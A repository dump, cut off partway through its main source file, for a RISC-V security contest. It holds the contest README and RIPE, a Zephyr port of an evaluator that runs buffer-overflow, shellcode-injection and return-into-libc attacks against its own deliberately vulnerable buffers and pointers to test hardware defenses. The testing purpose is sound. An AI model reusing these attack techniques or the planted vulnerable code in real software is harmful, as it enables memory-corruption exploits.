├── LICENSE ├── README.rst ├── file.patch └── ripe ├── CMakeLists.txt ├── prj.conf ├── sample.yaml └── src ├── main.c ├── ripe.dts ├── ripe_attack_generator.c ├── ripe_attack_generator.h ├── ripe_attack_parameters.h ├── setjmp.S └── setjmp.h /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Thales-RISC-V 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | =================================================================== 2 | RISC-V Soft CPU Security Contest by Thales and Microchip Technology 3 | =================================================================== 4 | 5 | Thanks 6 | ****** 7 | 8 | We would like to thank Microchip Technology and the RISC-V Foundation for their participation in this contest. 9 | Additionally, thanks to John Merrill and John Wilander for their work on the RIPE tool. 10 | 11 | You can contact us through the Github or at softcpu-contest@riscv.org 12 | 13 | Problem Overview 14 | **************** 15 | 16 | The boom of the IoT provides, thanks to the massive number of deployed objects, a very efficient attack vector for DDoS. 17 | These IoT devices are also increasing the attack surface of back-end systems (see `Thales Data Threat Report`_). 18 | The `top attacks`_ should be addressed by properly managing credentials. 19 | Especially coding flaws leading to Buffer Overflows are a significant type of attacks that should be prevented. 20 | Obviously better coding practices should be encouraged but the execution platform should be also improved to mitigate such attacks. 21 | 22 | In this contest, we are proposing to consider some very classical attacks: 23 | 24 | * Corrupting a function pointer on the heap 25 | * Buffer overflow on the stack to corrupt longjump buffer 26 | * Buffer overflow on the stack to change the return address 27 | * Corrupting a function pointer on the stack 28 | * Corrupting a C structure holding a function pointer 29 | 30 | An introduction to `Buffer overflow`_, `Return Oriented Programming`_, and many others scan be easily found on the Internet. 31 | 32 | The testing code is "`RIPE`_, the Runtime Intrusion Prevention Evaluator". 33 | 34 | Without changing the RIPE testing code, the contestants must develop protection strategies at the RISC-V microprocessor level (only the compiler may be modified to help the microprocessor). 35 | This cyber-improved RISC-V processor will have to either suppress or mitigate the success of these attacks. 36 | 37 | Already existing strategies are heavily documented in the literature, but not so commonly deployed (`Shadow Stack`_, `Control flow integrity`_, `Control-Flow Bending`_, etc.). 38 | 39 | We encourage contestants to develop a cyber-improved version of RISC-V processors, and thus contributing to the Cyber-Security of the IoT. 40 | 41 | Rules of the Contest 42 | ********************** 43 | 44 | The Security Contest's objective is to propose hardware security counter measures to thwart classical software attacks. 45 | Entries should be composed of a RISC-V RV32IMC soft CPU and all libero files necessary to reproduce the bitstream (e.g. project, HDL source files, constraints, etc.) that can run the proposed attack software. 46 | The only software modifications authorised are on the compiler and the Zephyr configuration. 47 | 48 | Microchip Creative Board 49 | ------------------------ 50 | 51 | The contests' entries will be tested on the Microchip `Creative Development Board`_. Licenses for this board are free and can be retrieved from the `Microchip Licensing`_ webpage. 52 | 53 | Zephyr RTOS 54 | ----------- 55 | 56 | We are using the 1.14 version of Zephyr for this contest. You can download and set it up through the GitHub link or directly with the west tool. 57 | We advise using the `Zephyr Getting Started`_ guide. and retrieving the version below with west:: 58 | 59 | west init zephyrproject --mr v1.14.1-rc1 60 | 61 | Attack Software 62 | --------------- 63 | 64 | The attack software is a modification for Zephyr of the `hope-RIPE`_ which is a RISC-V port of the runtime intrusion prevention evaluator `RIPE`_ from Wilander and Nikiforakis. 65 | You can change the ATTACK_NR symbol from 1 to 5 to select a different attack configuration. 66 | 67 | Scoring and Prizes 68 | ****************** 69 | 70 | Scores will be attributed as follows: 71 | 72 | - How many of the five security attacks are thwarted: 40% 73 | - The total resources used, including logic elements, math blocks and internal RAM: 15% 74 | - The Fmax of the implementation: 15% 75 | - The expected power calculator consumption: 15% 76 | - Amount of changes to the compiler: 15% 77 | 78 | Prizes will be attributed as follows: 79 | 80 | * First place prize : 5000€ + `HiFive Unleashed`_ + `HiFive Unleashed Expansion Board`_ 81 | * Second place prize : 2000€ + `HiFive Unleashed`_ 82 | * Third place prize : 1000€ + `HiFive Unleashed`_ 83 | 84 | Setting up the Demonstration 85 | **************************** 86 | 87 | In order to help contestants get their hands on the Creative Board, Libero and the Zephyr framework, we set up a project that triggers attacks on the MiV cpu. 88 | 89 | Hardware 90 | -------- 91 | 92 | For the demonstration we used the FPGA design from the IGL2_MiV_FreeRTOS_Demo of the `Future Electronics Design Center GitHub repository`_. You can regenerate it through Libero or flash it directly to your board with the FlashPro tool. 93 | 94 | Zephyr RTOS 95 | ----------- 96 | 97 | This FPGA design from Future Electronics requires some modifications from the IGLOO2 board configuration already present in the Zephyr baseline. You first need to apply the zephyr modification with:: 98 | 99 | patch /zephyr/soc/riscv32/riscv-privilege/miv/dts_fixup.h file.patch 100 | 101 | And then launch the ripe build with west:: 102 | 103 | cd ripe/ 104 | west build -b m2gl025_miv . 105 | 106 | or with the cmake and make tools:: 107 | 108 | mkdir my_build 109 | cd my_build 110 | cmake -DBOARD=m2gl025_miv ripe 111 | make 112 | 113 | Running the code 114 | ---------------- 115 | 116 | The Zephyr ELF can be loaded on the target using the Microsemi, a subsidiary of Microchip, provided OpenOCD. OpenOCD is part of the SoftConsole IDE. 117 | SoftConsole 6.0 is available at the `Softconsole Download`_ page. 118 | 119 | Once installed and your board connected to your development system, you can start OpenOCD:: 120 | 121 | /usr/local/Microsemi_SoftConsole_v6.0/eclipse//../openocd/bin/openocd --file board/microsemi-riscv.cfg 122 | 123 | Attach your debugger and load the executable, erase the FreeRTOS default demo, and run the executable :: 124 | 125 | thales@Linux:~/devel/hackhathon/RISC-V-IoT-Hackathon/ripe$ /home/thales/devel/hackhathon/toolchain/riscv32-zephyr-elf/bin/riscv32-zephyr-elf-gdb build/zephyr/zephyr.elf 126 | GNU gdb (crosstool-NG 1.24.0-rc2-dirty) 8.2.1 127 | Copyright (C) 2018 Free Software Foundation, Inc. 128 | License GPLv3+: GNU GPL version 3 or later 129 | This is free software: you are free to change and redistribute it. 130 | There is NO WARRANTY, to the extent permitted by law. 131 | Type "show copying" and "show warranty" for details. 132 | This GDB was configured as "--host=x86_64-build_pc-linux-gnu --target=riscv32-zephyr-elf". 133 | Type "show configuration" for configuration details. 134 | For bug reporting instructions, please see: 135 | . 136 | Find the GDB manual and other documentation resources online at: 137 | . 138 | 139 | For help, type "help". 140 | Type "apropos word" to search for commands related to "word"... 141 | Reading symbols from build/zephyr/zephyr.elf...done. 142 | (gdb) target remote localhost:3333 143 | Remote debugging using localhost:3333 144 | warning: Target-supplied registers are not supported by the current architecture 145 | 0x60002798 in ?? () 146 | (gdb) load 147 | Loading section vector, size 0x10 lma 0x80000000 148 | Loading section exceptions, size 0x268 lma 0x80000010 149 | Loading section text, size 0x6290 lma 0x80000278 150 | Loading section sw_isr_table, size 0x150 lma 0x80006508 151 | Loading section devconfig, size 0x3c lma 0x80006658 152 | Loading section rodata, size 0x1344 lma 0x80006694 153 | Loading section datas, size 0x84c lma 0x800079d8 154 | Loading section initlevel, size 0x3c lma 0x80008224 155 | Loading section _k_mutex_area, size 0x14 lma 0x80008260 156 | Start address 0x80000000, load size 33396 157 | Transfer rate: 7 KB/sec, 3339 bytes/write. 158 | (gdb) c 159 | Continuing. 160 | 161 | Program received signal SIGTRAP, Trace/breakpoint trap. 162 | 0x60000658 in ?? () 163 | (gdb) load 164 | Loading section vector, size 0x10 lma 0x80000000 165 | Loading section exceptions, size 0x268 lma 0x80000010 166 | Loading section text, size 0x6290 lma 0x80000278 167 | Loading section sw_isr_table, size 0x150 lma 0x80006508 168 | Loading section devconfig, size 0x3c lma 0x80006658 169 | Loading section rodata, size 0x1344 lma 0x80006694 170 | Loading section datas, size 0x84c lma 0x800079d8 171 | Loading section initlevel, size 0x3c lma 0x80008224 172 | Loading section _k_mutex_area, size 0x14 lma 0x80008260 173 | Start address 0x80000000, load size 33396 174 | Transfer rate: 7 KB/sec, 3339 bytes/write. 175 | (gdb) c 176 | Continuing. 177 | 178 | On the UART console, the result of the attack is displayed (Here for the attack #2) :: 179 | 180 | ***** Booting Zephyr OS v1.14.1-rc1 ***** 181 | [z_sched_lock] scheduler locked (0x80040cf8:255) 182 | [k_sched_unlock] scheduler unlocked (0x80040cf8:0) 183 | RIPE is alive! m2gl025_miv 184 | -t direct -i shellcode -c longjmpstackparam -l stack -f homebrew---------------- 185 | Shellcode instructions: 186 | lui t1, 0x80002 80002337 187 | addi t1, t1, 0x30c 30c30313 188 | jalr t1000300e7 189 | ---------------- 190 | target_addr == 0x80041ae0 191 | buffer == 0x800416b0 192 | payload size == 1077 193 | bytes to pad: 1060 194 | 195 | overflow_ptr: 0x800416b0 196 | payload: 7# 197 | 198 | Executing attack... success. 199 | Code injection function reached. 200 | exit 201 | 202 | Discussion forum 203 | **************** 204 | 205 | For any discussion about security strategies or implementation details you can use the `Discussion forum`_. 206 | 207 | .. _Zephyr Getting Started: https://docs.zephyrproject.org/latest/getting_started/index.html 208 | .. _Creative Development Board: https://www.futureelectronics.com/fr/resources/videos/future-electronics-microsemi-creative-development-board 209 | .. _hope-RIPE: https://github.com/draperlaboratory/hope-RIPE 210 | .. _RIPE: https://github.com/johnwilander/RIPE 211 | .. _Future Electronics Design Center github repository: https://github.com/Future-Electronics-Design-Center/Creative-Eval-Board 212 | .. _HiFive Unleashed: https://www.crowdsupply.com/sifive/hifive-unleashed 213 | .. _HiFive Unleashed Expansion Board: https://www.crowdsupply.com/microsemi/hifive-unleashed-expansion-board 214 | .. _Microchip Licensing: https://www.microsemi.com/product-directory/design-resources/1711-licensing 215 | .. _Softconsole Download: https://www.microsemi.com/product-directory/design-tools/4879-softconsole#downloads 216 | .. _Thales Data Threat Report: https://www.thalesesecurity.com/2019/data-threat-report 217 | .. _top attacks: https://securelist.com/new-trends-in-the-world-of-iot-threats/87991/ 218 | .. _Buffer overflow: https://www.owasp.org/index.php/Buffer_overflow_attack 219 | .. _Return Oriented Programming: https://en.wikipedia.org/wiki/Return-oriented_programming 220 | .. _Discussion forum: https://groups.google.com/a/riscv.org/forum/#!forum/softcpu-discuss 221 | .. _Shadow Stack: https://en.wikipedia.org/wiki/Shadow_stack 222 | .. _Control flow integrity: https://en.wikipedia.org/wiki/Control-flow_integrity 223 | .. _Control-Flow Bending: https://www.usenix.org/node/190961 224 | -------------------------------------------------------------------------------- /file.patch: -------------------------------------------------------------------------------- 1 | diff --git a/soc/riscv32/riscv-privilege/miv/dts_fixup.h b/soc/riscv32/riscv-privilege/miv/dts_fixup.h 2 | index 6bd4d95..f510b78 100644 3 | --- a/soc/riscv32/riscv-privilege/miv/dts_fixup.h 4 | +++ b/soc/riscv32/riscv-privilege/miv/dts_fixup.h 5 | @@ -12,8 +12,8 @@ 6 | DT_RISCV_PLIC0_40000000_REG_BASE_ADDRESS 7 | 8 | /* UART 0 */ 9 | -#define DT_MIV_UART_0_BASE_ADDR DT_MICROSEMI_COREUART_70001000_BASE_ADDRESS 10 | -#define DT_MIV_UART_0_CLOCK_FREQUENCY DT_MICROSEMI_COREUART_70001000_CLOCK_FREQUENCY 11 | -#define DT_MIV_UART_0_BAUD_RATE DT_MICROSEMI_COREUART_70001000_CURRENT_SPEED 12 | -#define DT_MIV_UART_0_NAME DT_MICROSEMI_COREUART_70001000_LABEL 13 | +#define DT_MIV_UART_0_BASE_ADDR DT_MICROSEMI_COREUART_0_BASE_ADDRESS 14 | +#define DT_MIV_UART_0_CLOCK_FREQUENCY DT_MICROSEMI_COREUART_0_CLOCK_FREQUENCY 15 | +#define DT_MIV_UART_0_BAUD_RATE DT_MICROSEMI_COREUART_0_CURRENT_SPEED 16 | +#define DT_MIV_UART_0_NAME DT_MICROSEMI_COREUART_0_LABEL 17 | 18 | -------------------------------------------------------------------------------- /ripe/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: Apache-2.0 2 | 3 | cmake_minimum_required(VERSION 3.13.1) 4 | # Override standard Microsemi UART adressing with the on from Future Electronics 5 | set(DTC_OVERLAY_FILE ${CMAKE_CURRENT_LIST_DIR}/src/ripe.dts) 6 | 7 | include($ENV{ZEPHYR_BASE}/cmake/app/boilerplate.cmake NO_POLICY_SCOPE) 8 | #project(hello_world C ASM) 9 | project(hello_world) 10 | 11 | #target_sources(app PRIVATE src/ripe_attack_generator.c src/setjmp.S ) 12 | target_sources(app PRIVATE src/ripe_attack_generator.c ) 13 | -------------------------------------------------------------------------------- /ripe/prj.conf: -------------------------------------------------------------------------------- 1 | CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC=500000 2 | CONFIG_MAIN_STACK_SIZE=4096 3 | CONFIG_IDLE_STACK_SIZE=1024 4 | CONFIG_ISR_STACK_SIZE=4096 5 | CONFIG_INIT_STACKS=y 6 | CONFIG_KERNEL_DEBUG=y 7 | CONFIG_NEWLIB_LIBC=y 8 | CONFIG_DEBUG=y 9 | CONFIG_SIZE_OPTIMIZATIONS=n 10 | CONFIG_DEBUG_OPTIMIZATIONS=y 11 | -------------------------------------------------------------------------------- /ripe/sample.yaml: -------------------------------------------------------------------------------- 1 | sample: 2 | description: Hello World sample, the simplest Zephyr 3 | application 4 | name: hello world 5 | common: 6 | tags: introduction 7 | harness: console 8 | harness_config: 9 | type: one_line 10 | regex: 11 | - "Hello World! (.*)" 12 | tests: 13 | sample.helloworld: 14 | tags: introduction 15 | -------------------------------------------------------------------------------- /ripe/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main(void) 5 | { 6 | printk("Hello from Thales! %s\n", CONFIG_BOARD); 7 | } 8 | -------------------------------------------------------------------------------- /ripe/src/ripe.dts: -------------------------------------------------------------------------------- 1 | 2 | &uart0 { 3 | status = "okay"; 4 | current-speed = <115200>; 5 | clock-frequency = <50000000>; 6 | reg = <0x70000000 0x1000>; 7 | }; 8 | -------------------------------------------------------------------------------- /ripe/src/ripe_attack_generator.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Standalone RISC-V compatible implementation of RIPE 3 | * 4 | * Attack params: 5 | * -------------- 6 | * technique = direct, indirect 7 | * inject parameter = ret2libc, shellcode injection, ROP, data only 8 | * code pointer = return address, function pointer, vulnerable struct, longjmp buffer, 9 | * non-control data variable 10 | * location = stack, heap, data, bss 11 | * function = memcpy, strcpy, strncpy, strcat, strncat, sprintf, snprintf, 12 | * sscanf, homebrew memcpy 13 | */ 14 | 15 | #include "ripe_attack_generator.h" 16 | 17 | static boolean output_debug_info = TRUE; 18 | 19 | // JM: shellcode is generated in perform_attack() 20 | char * shellcode_nonop[12]; 21 | 22 | // JM: data-only target pointer 23 | uint32_t dop_dest = 0xdeadbeef; 24 | 25 | // Do not count for the null terminator since a null in the shellcode will 26 | // terminate any string function in the standard library 27 | static size_t size_shellcode_nonop = 12; 28 | 29 | /* DATA SEGMENT TARGETS */ 30 | /* 31 | Vulnerable struct 32 | Overflow buffers (buffer1 for .data, buffer2 for .sdata) 33 | Arbitrary read data 34 | DOP flag 35 | Two general pointers for indirect attack 36 | Function pointers 37 | Longjmp buffer 38 | */ 39 | static struct attackme data_struct = { "AAAA", &dummy_function }; 40 | static char data_buffer1[256] = "d"; 41 | static char data_buffer2[8] = "dummy"; 42 | static char data_secret[32] = "success. Secret data leaked.\n"; 43 | static int data_flag = 0700; 44 | static uint32_t * data_mem_ptr_aux[64] = { &dummy_function }; 45 | static uint32_t * data_mem_ptr[64] = { &dummy_function }; 46 | static int (* data_func_ptr)(const char *) = &dummy_function; 47 | static jmp_buf data_jmp_buffer = { 1 }; 48 | 49 | // JM: control data destinations 50 | void 51 | shellcode_target(); 52 | void 53 | ret2libc_target(); 54 | void 55 | rop_target(); 56 | void 57 | dop_target(char * buf, uint32_t auth); 58 | 59 | // JM: contains buffer lower in memory than stack param, allowing for overflow 60 | void 61 | set_low_buf(char ** buf); 62 | 63 | // JM: integer overflow vulnerability 64 | void 65 | iof(char * buf, uint32_t iv); 66 | 67 | // JM: arbitrary read bug 68 | void 69 | data_leak(char *buf); 70 | 71 | // JM: forces length param to register and jumps before return for stack param attacks 72 | void 73 | homebrew_memcpy_param(void * dst, const void * src, register size_t length); 74 | 75 | // JM: longjmp() is called from here 76 | void 77 | lj_func(jmp_buf lj_buf); 78 | 79 | // get ret address 80 | // JM: ra written to stack one word higher than bp 81 | #define OLD_BP_PTR __builtin_frame_address(0) 82 | #define RET_ADDR_PTR ((void **) OLD_BP_PTR - 1) 83 | 84 | static ATTACK_FORM attack; 85 | 86 | void 87 | try_attack(void) 88 | { 89 | jmp_buf stack_jmp_buffer_param; 90 | 91 | // Check if attack is possible 92 | if (is_attack_possible()) { 93 | perform_attack(&dummy_function, stack_jmp_buffer_param); 94 | } else { 95 | exit(ATTACK_IMPOSSIBLE); 96 | } 97 | 98 | } 99 | 100 | // 101 | // Initial main taking argument on the commande line has been replaced by a simple function call 102 | // You have to update the ATTACK_NR to mimic the command line arguments 103 | // 104 | void 105 | main(void) 106 | { 107 | #define ATTACK_NR 2 108 | 109 | printk("RIPE is alive! %s\n", CONFIG_BOARD); 110 | 111 | #if ATTACK_NR == 1 112 | printk("-t direct -i shellcode -c funcptrheap -l heap -f memcpy"); 113 | attack.technique = DIRECT; attack.inject_param = INJECTED_CODE_NO_NOP; attack.code_ptr= FUNC_PTR_HEAP; attack.location = HEAP; attack.function = HOMEBREW; 114 | #endif 115 | 116 | #if ATTACK_NR == 2 117 | printk("-t direct -i shellcode -c longjmpstackparam -l stack -f homebrew"); 118 | attack.technique = DIRECT; attack.inject_param = INJECTED_CODE_NO_NOP; attack.code_ptr= LONGJMP_BUF_STACK_VAR; attack.location = STACK; attack.function = HOMEBREW; 119 | #endif 120 | 121 | #if ATTACK_NR == 3 122 | printk("-t indirect -i returnintolibc -c ret -l stack -f memcpy"); 123 | attack.technique = INDIRECT; attack.inject_param = RETURN_INTO_LIBC; attack.code_ptr= RET_ADDR; attack.location = STACK; attack.function = HOMEBREW; 124 | #endif 125 | 126 | #if ATTACK_NR == 4 127 | printk("-t indirect -i returnintolibc -c funcptrstackvar -l stack -f memcpy"); 128 | attack.technique = INDIRECT; attack.inject_param = RETURN_INTO_LIBC; attack.code_ptr= FUNC_PTR_STACK_VAR; attack.location = STACK; attack.function = HOMEBREW; 129 | #endif 130 | 131 | #if ATTACK_NR == 5 132 | printk("-t indirect -i shellcode -c funcptrheap -l heap -f memcpy"); 133 | attack.technique = INDIRECT; attack.inject_param = INJECTED_CODE_NO_NOP; attack.code_ptr= STRUCT_FUNC_PTR_HEAP; attack.location = HEAP; attack.function = HOMEBREW; 134 | #endif 135 | 136 | try_attack(); 137 | 138 | printf("Unexpected back in main\n"); 139 | return 0; 140 | 141 | } 142 | 143 | /********************/ 144 | /* PERFORM_ATTACK() */ 145 | /********************/ 146 | void 147 | perform_attack( 148 | int (*stack_func_ptr_param)(const char *), 149 | jmp_buf stack_jmp_buffer_param) 150 | { 151 | jmp_buf stack_jmp_buffer; 152 | 153 | /* STACK TARGETS */ 154 | /* 155 | Function Pointer 156 | Two general pointers for indirect attack 157 | DOP flag 158 | Arbitrary read data 159 | Overflow buffer 160 | Vulnerable struct 161 | */ 162 | int (* stack_func_ptr)(const char *); 163 | long * stack_mem_ptr; 164 | long * stack_mem_ptr_aux; 165 | int stack_flag; 166 | char stack_secret[32]; 167 | strcpy(stack_secret, data_secret); 168 | char stack_buffer[1024]; 169 | struct attackme stack_struct; 170 | stack_struct.func_ptr = &dummy_function; 171 | 172 | /* HEAP TARGETS */ 173 | /* 174 | Vulnerable struct 175 | Overflow buffers 176 | DOP flag 177 | Two general pointers for indirect attack 178 | Arbitrary read data 179 | Function pointer array 180 | Longjmp buffer 181 | */ 182 | struct attackme * heap_struct = 183 | (struct attackme *) malloc(sizeof(struct attackme)); 184 | heap_struct->func_ptr = dummy_function; 185 | 186 | /* Two buffers declared to be able to chose buffer that gets allocated */ 187 | /* first on the heap. The other buffer will be set as a target, i.e. a */ 188 | /* heap array of function pointers. */ 189 | char * heap_buffer1 = (char *) malloc(256 + sizeof(long)); 190 | char * heap_buffer2 = (char *) malloc(256 + sizeof(long)); 191 | char * heap_buffer3 = (char *) malloc(256 + sizeof(long)); 192 | 193 | int * heap_flag = (int *) malloc(sizeof(int *)); 194 | long * heap_mem_ptr_aux; 195 | long * heap_mem_ptr; 196 | char * heap_secret; 197 | int(**heap_func_ptr)(const char *) = 0; 198 | jmp_buf * heap_jmp_buffer; 199 | 200 | /* BSS TARGETS */ 201 | /* 202 | Function pointer 203 | DOP flag 204 | Two general pointers for indirect attack 205 | Arbitrary read data 206 | Overflow buffer 207 | Longjmp buffer 208 | Vulnerable Struct 209 | */ 210 | static int (* bss_func_ptr)(const char *); 211 | static int * bss_flag; 212 | static long * bss_mem_ptr_aux; 213 | static long * bss_mem_ptr; 214 | static char bss_secret[32]; 215 | static char bss_buffer[256]; 216 | static jmp_buf bss_jmp_buffer; 217 | static struct attackme bss_struct; 218 | 219 | /* Pointer to buffer to overflow */ 220 | char * buffer; 221 | /* Address to target for direct (part of) overflow */ 222 | void * target_addr; 223 | /* JM: Address for second overflow (indirect ret2libc attack) */ 224 | void * target_addr_aux; 225 | /* Buffer for storing a generated format string */ 226 | char format_string_buf[16]; 227 | /* Attack payload */ 228 | CHARPAYLOAD payload; 229 | 230 | /* Check that malloc went fine */ 231 | if (heap_buffer1 == NULL || heap_buffer2 == NULL) { 232 | printk("Unable to allocate heap memory."); 233 | exit(1); 234 | } 235 | 236 | // JM: assigning value to bss buffers 237 | // to place them 'behind' other locals 238 | bss_buffer[0] = 'a'; 239 | strcpy(bss_secret, data_secret); 240 | 241 | // write shellcode with correct jump address 242 | build_shellcode(shellcode_nonop); 243 | 244 | switch (attack.location) { 245 | case STACK: 246 | // NN: Special case for stack_struct 247 | if (attack.code_ptr == STRUCT_FUNC_PTR_STACK && 248 | attack.technique == DIRECT) 249 | { 250 | buffer = stack_struct.buffer; 251 | } else if (attack.code_ptr == FUNC_PTR_STACK_PARAM && 252 | attack.technique == DIRECT) 253 | { 254 | // JM: use buffer lower in memory for direct attack 255 | set_low_buf(&buffer); 256 | } else { 257 | buffer = stack_buffer; 258 | } 259 | 260 | // JM: enable data-only attack 261 | if (attack.inject_param == DATA_ONLY) { 262 | stack_mem_ptr = &stack_flag; 263 | } 264 | 265 | // Also set the location of the function pointer and the 266 | // longjmp buffer on the heap (the same since only choose one) 267 | heap_func_ptr = (void *) heap_buffer1; 268 | heap_jmp_buffer = (void *) heap_buffer1; 269 | break; 270 | case HEAP: 271 | /* Injection into heap buffer */ 272 | 273 | // NN: Special case for heap_struct 274 | if (attack.code_ptr == STRUCT_FUNC_PTR_HEAP && 275 | attack.technique == DIRECT) 276 | { 277 | buffer = heap_struct->buffer; 278 | break; 279 | } 280 | 281 | if (((unsigned long) heap_buffer1 < (unsigned long) heap_buffer2) && 282 | ((unsigned long) heap_buffer2 < (unsigned long) heap_buffer3)) 283 | { 284 | buffer = heap_buffer1; 285 | // Set the location of the memory pointer on the heap 286 | heap_mem_ptr_aux = (long *) heap_buffer2; 287 | heap_mem_ptr = (long *) heap_buffer3; 288 | 289 | if (attack.code_ptr == VAR_LEAK) { 290 | heap_secret = heap_buffer2; 291 | strcpy(heap_secret, data_secret); 292 | } 293 | // Also set the location of the function pointer and the 294 | // longjmp buffer on the heap (the same since only choose one) 295 | heap_func_ptr = malloc(sizeof(void *)); 296 | 297 | // allocate the jump buffer 298 | heap_jmp_buffer = (int *) malloc(sizeof(jmp_buf)); 299 | } else { 300 | if (output_debug_info) { 301 | fprintf(stderr, 302 | "Error: Heap buffers allocated in the wrong order.\n"); 303 | } 304 | 305 | exit(1); 306 | } 307 | 308 | // JM: set up heap ptr with DOP target 309 | if (attack.inject_param == DATA_ONLY) { 310 | heap_mem_ptr = heap_flag; 311 | } 312 | break; 313 | case DATA: 314 | /* Injection into data segment buffer */ 315 | 316 | // NN: Special case for stack_struct 317 | if (attack.code_ptr == STRUCT_FUNC_PTR_DATA) { 318 | buffer = data_struct.buffer; 319 | break; 320 | } 321 | 322 | if ((attack.code_ptr == FUNC_PTR_DATA || 323 | attack.code_ptr == VAR_BOF) && 324 | attack.technique == DIRECT) 325 | { 326 | buffer = data_buffer2; 327 | } else { 328 | buffer = data_buffer1; 329 | } 330 | 331 | // JM: set up data ptr with DOP target 332 | if (attack.inject_param == DATA_ONLY) { 333 | data_flag = 0; 334 | *data_mem_ptr = &data_flag; 335 | } 336 | // Also set the location of the function pointer and the 337 | // longjmp buffer on the heap (the same since only choose one) 338 | heap_func_ptr = (void *) heap_buffer1; 339 | heap_jmp_buffer = heap_buffer1; 340 | break; 341 | case BSS: 342 | /* Injection into BSS buffer */ 343 | 344 | // NN: Special case for bss_struct 345 | if (attack.code_ptr == STRUCT_FUNC_PTR_BSS) { 346 | buffer = bss_struct.buffer; 347 | break; 348 | } 349 | 350 | buffer = bss_buffer; 351 | 352 | bss_flag = 0; 353 | 354 | bss_mem_ptr_aux = &dummy_function; 355 | bss_mem_ptr = &dummy_function; 356 | 357 | // JM: set up bss ptr with DOP target 358 | if (attack.inject_param == DATA_ONLY) { 359 | bss_mem_ptr = &bss_flag; 360 | } 361 | // Also set the location of the function pointer and the 362 | // longjmp buffer on the heap (the same since only choose one) 363 | heap_func_ptr = (void *) heap_buffer1; 364 | break; 365 | } 366 | 367 | // make sure we actually have an initialized function pointer on the heap 368 | if (heap_func_ptr) 369 | *heap_func_ptr = dummy_function; 370 | 371 | // Set Target Address 372 | switch (attack.technique) { 373 | case DIRECT: 374 | switch (attack.code_ptr) { 375 | case RET_ADDR: 376 | target_addr = RET_ADDR_PTR; 377 | break; 378 | case FUNC_PTR_STACK_VAR: 379 | target_addr = &stack_func_ptr; 380 | break; 381 | case FUNC_PTR_STACK_PARAM: 382 | target_addr = &stack_func_ptr_param; 383 | break; 384 | case FUNC_PTR_HEAP: 385 | target_addr = heap_func_ptr; 386 | break; 387 | case FUNC_PTR_BSS: 388 | target_addr = &bss_func_ptr; 389 | break; 390 | case FUNC_PTR_DATA: 391 | target_addr = &data_func_ptr; 392 | break; 393 | case LONGJMP_BUF_STACK_VAR: 394 | target_addr = stack_jmp_buffer; 395 | break; 396 | case LONGJMP_BUF_STACK_PARAM: 397 | target_addr = stack_jmp_buffer_param; 398 | break; 399 | case LONGJMP_BUF_HEAP: 400 | target_addr = (void *) heap_jmp_buffer; 401 | break; 402 | case LONGJMP_BUF_DATA: 403 | target_addr = data_jmp_buffer; 404 | break; 405 | case LONGJMP_BUF_BSS: 406 | target_addr = bss_jmp_buffer; 407 | break; 408 | case STRUCT_FUNC_PTR_STACK: 409 | target_addr = &stack_struct.func_ptr; 410 | break; 411 | case STRUCT_FUNC_PTR_HEAP: 412 | target_addr = (void *) heap_struct + 256; 413 | break; 414 | case STRUCT_FUNC_PTR_DATA: 415 | target_addr = &data_struct.func_ptr; 416 | break; 417 | case STRUCT_FUNC_PTR_BSS: 418 | target_addr = &bss_struct.func_ptr; 419 | break; 420 | case VAR_BOF: 421 | // JM: if data-only, location determines target 422 | case VAR_IOF: 423 | switch (attack.location) { 424 | case STACK: 425 | target_addr = &stack_flag; 426 | break; 427 | case HEAP: 428 | target_addr = heap_flag; 429 | break; 430 | case DATA: 431 | target_addr = &data_flag; 432 | break; 433 | case BSS: 434 | target_addr = &bss_flag; 435 | break; 436 | } 437 | break; 438 | case VAR_LEAK: 439 | switch (attack.location) { 440 | case STACK: 441 | target_addr = &stack_secret; 442 | break; 443 | case HEAP: 444 | target_addr = heap_secret; 445 | break; 446 | case DATA: 447 | target_addr = &data_secret; 448 | break; 449 | case BSS: 450 | target_addr = &bss_secret; 451 | break; 452 | } 453 | break; 454 | 455 | } 456 | break; 457 | 458 | case INDIRECT: 459 | switch (attack.location) { 460 | case STACK: 461 | target_addr = &stack_mem_ptr; 462 | target_addr_aux = &stack_mem_ptr_aux; 463 | break; 464 | case HEAP: 465 | target_addr = heap_mem_ptr; 466 | target_addr_aux = heap_mem_ptr_aux; 467 | break; 468 | case DATA: 469 | target_addr = &data_mem_ptr; 470 | target_addr_aux = &data_mem_ptr_aux; 471 | break; 472 | case BSS: 473 | target_addr = &bss_mem_ptr; 474 | target_addr_aux = &bss_mem_ptr_aux; 475 | break; 476 | } 477 | break; 478 | } 479 | 480 | // set longjmp buffers 481 | switch (attack.code_ptr) { 482 | case LONGJMP_BUF_STACK_VAR: 483 | if (setjmp(stack_jmp_buffer) != 0) { 484 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 485 | /* from longjmp() using the saved context. Attack failed. */ 486 | printf("Longjmp attack failed. Returning normally...\n"); 487 | return; 488 | } 489 | payload.jmp_buffer = &stack_jmp_buffer; 490 | break; 491 | case LONGJMP_BUF_STACK_PARAM: 492 | if (setjmp(stack_jmp_buffer_param) != 0) { 493 | printf("Longjmp attack failed. Returning normally...\n"); 494 | } 495 | 